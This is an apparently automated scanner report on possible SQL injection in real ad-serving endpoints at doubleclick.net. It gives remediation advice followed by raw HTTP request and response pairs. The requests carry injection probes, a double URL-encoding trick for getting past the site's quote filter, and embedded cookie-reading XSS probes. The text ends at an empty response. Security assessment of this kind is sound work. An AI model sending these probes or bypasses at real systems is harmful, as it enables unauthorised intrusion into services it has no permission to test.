SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
1.1. http://ad.doubleclick.net/adi/N5875.270604.B3/B5111946.91 [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Tentative
Host:
http://ad.doubleclick.net
Path:
/adi/N5875.270604.B3/B5111946.91
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?&1%20and%201%3d1--%20=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 1049 Cache-Control: no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 04:25:26 GMT Expires: Tue, 25 Jan 2011 04:25:26 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window - ...[SNIP]... <a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/b%3B233909482%3B1-0%3B0%3B58746736%3B933-120/600%3B38657313/38675070/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;38657313&migRandom=3942724&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.dominos.com/&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=NoPromo&utm_campaign=MindshareBanner" target="_blank"> <img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/2-N7_Specialty_120x600.jpg"> </a> <img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;38657313&migRandom=3942724&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" /> </body></html>
Request 2
GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?&1%20and%201%3d2--%20=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 1118 Cache-Control: no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 04:25:26 GMT Expires: Tue, 25 Jan 2011 04:25:26 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window - ...[SNIP]... <a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/e%3B233909482%3B0-0%3B0%3B58746736%3B933-120/600%3B37406893/37424770/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3942755&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://express.dominos.com/pages/track.jsp?target=promocode&promocode=BANNQ7WN3&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=ban_BANNQ7WN3&utm_campaign=MindshareBanner" target="_blank"> <img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/N5_5.99_OrderThisDeal_120x600.jpg"> </a> <img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3942755&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" /> </body></html>
The sz parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the sz parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?'%20and%201%3d1--%20 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 1055 Cache-Control: no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 04:25:25 GMT Expires: Tue, 25 Jan 2011 04:25:25 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window - ...[SNIP]... <a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/o%3B233909482%3B2-0%3B0%3B58746736%3B933-120/600%3B40379675/40397462/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;40379675&migRandom=3941709&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.dominos.com/&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=NoPromo&utm_campaign=MindshareBanner" target="_blank"> <img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/1-Zeus_Dom_SuperBowl_120x600.gif"> </a> <img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;40379675&migRandom=3941709&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" /> </body></html>
Request 2
GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?'%20and%201%3d2--%20 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 1118 Cache-Control: no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 04:25:25 GMT Expires: Tue, 25 Jan 2011 04:25:25 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window - ...[SNIP]... <a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/e%3B233909482%3B0-0%3B0%3B58746736%3B933-120/600%3B37406893/37424770/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3941771&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://express.dominos.com/pages/track.jsp?target=promocode&promocode=BANNQ7WN3&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=ban_BANNQ7WN3&utm_campaign=MindshareBanner" target="_blank"> <img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/N5_5.99_OrderThisDeal_120x600.jpg"> </a> <img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3941771&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" /> </body></html>
The frm parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the frm parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the frm request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0%2527&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 24 Jan 2011 22:12:39 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 13853
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#000055;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]... wdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2EwMGNlZWYxNzAmU0U9MyZyPTGoAwHIAxfoA8IE6AO0BfUDIAAAQA&num=4&sig=AGiWqtw2HA7p7UcuLOZQ1ROSxD-tGTYiiQ&client=ca-pub-6071864913982699&adurl=http://www.errorteck.com id=aw3 onclick="ha('aw3')" onfocus="ss('','aw3')" onmousedown="st('aw3')" onmouseover="return ss('','aw3')" target=_top title="www.ErrorTeck.com"> ...[SNIP]...
Request 2
GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0%2527%2527&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 24 Jan 2011 22:12:40 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 13999
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#000055;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]...
The ga_hid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ga_hid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693'&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 24 Jan 2011 22:14:49 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 13686
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#000055;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]... wdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2EwMGNlZWYxNzAmU0U9MyZyPTGoAwHIAxfoA8IE6AO0BfUDIAAAQA&num=3&sig=AGiWqtxsXNzlLOrPb9U-w2HQFE7s4iob6Q&client=ca-pub-6071864913982699&adurl=http://www.errorteck.com id=aw2 onclick="ha('aw2')" onfocus="ss('','aw2')" onmousedown="st('aw2')" onmouseover="return ss('','aw2')" target=_top title="www.ErrorTeck.com"> ...[SNIP]...
Request 2
GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693''&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 24 Jan 2011 22:14:50 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 14224
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#000055;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]...
The h parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the h parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the h request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /pagead/ads?client=ca-pub-3737471162188127&output=html&h=600%2527&slotname=3414113612&w=160&ea=0&flash=10.1.103&url=http%3A%2F%2Fwww.beirut.com%2Fcss%2Fblue%2F4429e%252527%25253balert%252528document.cookie%252529%25252f%25252f59f8c7185c5%2Fsearch-btn.gif&dt=1295922041953&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295922041995&frm=1&adk=1261819541&ga_vid=478840491.1295922042&ga_sid=1295922042&ga_hid=1179528252&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3522672927&fu=0&ifi=1&dtd=287 HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://d1.openx.org/afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
